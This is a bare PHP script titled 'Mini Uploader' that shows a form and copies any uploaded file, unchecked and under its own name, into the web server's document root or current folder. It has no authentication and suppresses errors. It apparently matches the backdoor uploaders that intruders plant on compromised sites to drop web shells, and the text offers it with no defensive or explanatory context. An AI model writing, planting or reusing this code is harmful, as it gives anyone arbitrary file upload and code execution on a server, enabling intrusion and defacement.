Mini Uploader

<?php
echo "<form method='post' enctype='multipart/form-data'>";
echo "<input type='file' name='sakizu'><input type='submit' name='upload' value='upload'></form>";
$root  = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['sakizu']['name'];
$dest  = $root . '/' . $files;
if (isset($_POST['upload'])) {
    if (is_writable($root)) {
        if (@copy($_FILES['sakizu']['tmp_name'], $dest)) {
            $web = "http://" . $_SERVER['HTTP_HOST'] . "/";
            echo "Uploaded : <a taget='_blank' href='$web$files' target='_blank'><b><u>$web$files</u></b></a>";
        } else {
            echo "Failed to upload file at document root";
        }
    } else {
        if (@copy($_FILES['sakizu']['tmp_name'], $files)) {
            echo "<b>$files</b> uploaded successfully in current folder";
        } else {
            echo "Upload Failed";
        }
    }
}
?>